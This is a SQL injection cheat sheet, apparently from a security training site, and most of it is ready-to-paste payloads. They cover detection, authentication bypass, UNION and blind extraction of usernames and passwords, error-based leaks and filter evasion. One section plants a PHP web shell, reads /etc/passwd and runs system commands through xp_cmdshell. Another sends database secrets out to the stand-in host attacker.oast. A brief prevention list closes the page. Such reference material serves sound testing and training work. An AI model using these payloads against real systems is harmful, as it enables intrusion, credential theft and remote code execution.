SQL Injection: The Complete Practical Guide

SQL Injection Cheat Sheet

A dense, copy-pasteable SQL injection reference: detection probes, auth bypass, UNION, per-DBMS fingerprinting, blind and time-based extraction, schema enumeration, error-based, stacked queries, and WAF evasion.

Published

Every payload you reach for during a SQL injection test, in one place. Payloads differ by database, so fingerprint first, then pick the matching syntax. For the how and why behind each section, start at the SQL injection guide. Lock it in on a free live target.

Detection probes

'            "            `            \
' OR '1'='1      ' OR 1=1-- -      ") OR ("1"="1
1 AND 1=1        1 AND 1=2         (numeric true/false)
'||(SELECT '')||'   (Oracle concat probe)

Break the syntax and watch for errors or a changed response. The true/false pair confirms you control the query's logic.

Comment and terminator styles

-- -       (space after -- required, trailing dash avoids edge cases)
#          (MySQL)
/* */      (inline, most DBMS)
;%00       (null byte)

Authentication bypass

admin'-- -
admin'#
' OR 1=1-- -
' OR 1=1 LIMIT 1-- -
') OR ('1'='1'-- -
" OR ""="

Comment out the password check, or make the WHERE clause always true. Use LIMIT 1 when the query expects a single row.

UNION: find the column count, then a reflected column

' ORDER BY 1-- -   ... ' ORDER BY 10-- -      (increment until it errors)
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -                   (add NULLs until the count matches)
' UNION SELECT 'a',NULL-- -                     (find a string-compatible column)

NULL matches any column type, so it isolates the count without type errors. Once the query stops erroring, swap a NULL for a string marker to find a column that prints text.

DBMS fingerprint, version, current user

DBMSVersionCurrent userConcatComment
MySQL@@version / version()user() / current_user()CONCAT(a,b) / a b-- -, #
PostgreSQLversion()current_usera||b / CONCAT(a,b)-- -
MSSQL@@versionSYSTEM_USER / USER_NAME()a+b-- -
OracleSELECT banner FROM v$versionSELECT user FROM duala||b-- -
SQLitesqlite_version()n/aa||b-- -

Oracle requires FROM dual on a SELECT with no table, for example ' UNION SELECT banner,NULL FROM v$version-- -.

String extraction (substring)

MySQL / Postgres / MSSQL:  SUBSTRING(str,pos,len)
Oracle:                    SUBSTR(str,pos,len)
MySQL ascii:               ASCII(SUBSTRING((SELECT ...),1,1))

Boolean-blind (one bit at a time)

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -
' AND (SELECT COUNT(*) FROM users)>5-- -

When the response differs between true and false, ask yes/no questions and binary-search each character.

Time-based (conditional delay)

DBMSUnconditionalConditional
MySQLSLEEP(5)' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQLpg_sleep(5)'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
MSSQLWAITFOR DELAY '0:0:5'IF(1=1) WAITFOR DELAY '0:0:5'
Oracledbms_pipe.receive_message(('a'),5)CASE WHEN (1=1) THEN dbms_pipe.receive_message(('a'),5) ELSE NULL END

Use time when the response never changes: a long delay means your condition was true.

Schema enumeration (information_schema)

' UNION SELECT table_name,NULL FROM information_schema.tables-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT username,password FROM users-- -
Oracle:  SELECT table_name FROM all_tables
         SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

Error-based (force data into an error)

MySQL:    ' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -
          ' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
MSSQL:    ' AND 1=CONVERT(int,(SELECT @@version))-- -
Postgres: ' AND 1=CAST((SELECT version()) AS int)-- -

When the app leaks database errors, make the data part of the error string.

Stacked queries, file, and command (where supported)

MySQL:    ' UNION SELECT "<?php system($_GET[0]);?>",NULL INTO OUTFILE '/var/www/html/s.php'-- -
          ' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -
MSSQL:    '; EXEC xp_cmdshell 'whoami'-- -
Postgres: '; COPY (SELECT '') TO PROGRAM 'id'-- -

These need a privileged database account and, for stacked queries, a driver that allows multiple statements. See from SQL injection to RCE.

Out-of-band (OAST) exfil

Oracle:   ' UNION SELECT UTL_INADDR.get_host_address((SELECT user FROM dual)||'.attacker.oast'),NULL FROM dual-- -
MySQL:    ' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.oast\\x')),NULL-- -
MSSQL:    '; EXEC master..xp_dirtree '\\attacker.oast\x'-- -

For when in-band and timing both fail. Full walkthrough in out-of-band SQL injection.

WAF and filter evasion quick list

Case:        SeLeCt / UnIoN
Inline:      UN/**/ION   SEL/**/ECT
Whitespace:  UNION(SELECT(1))   %0a %0b %0c %a0   /**/
Encoding:    %27   %2527 (double)   0x61646d696e (hex 'admin')   CHAR(97,100,...)
Keywords:    OR -> ||    AND -> &&    = -> LIKE / IN
No-space:    'OR(1)=(1)-- -

More, with the reasoning, in WAF and filter evasion.

Prevention

  • Parameterized queries / prepared statements for all values.
  • Allow-list validation for identifiers that cannot be parameterized (ORDER BY, column and table names).
  • Least-privilege database account: no FILE or superuser rights, separate read and write roles.
  • Defense in depth: ORMs used safely with no raw string building, and a WAF treated as a speed bump, not a fix.

← Back to SQL Injection: The Complete Practical Guide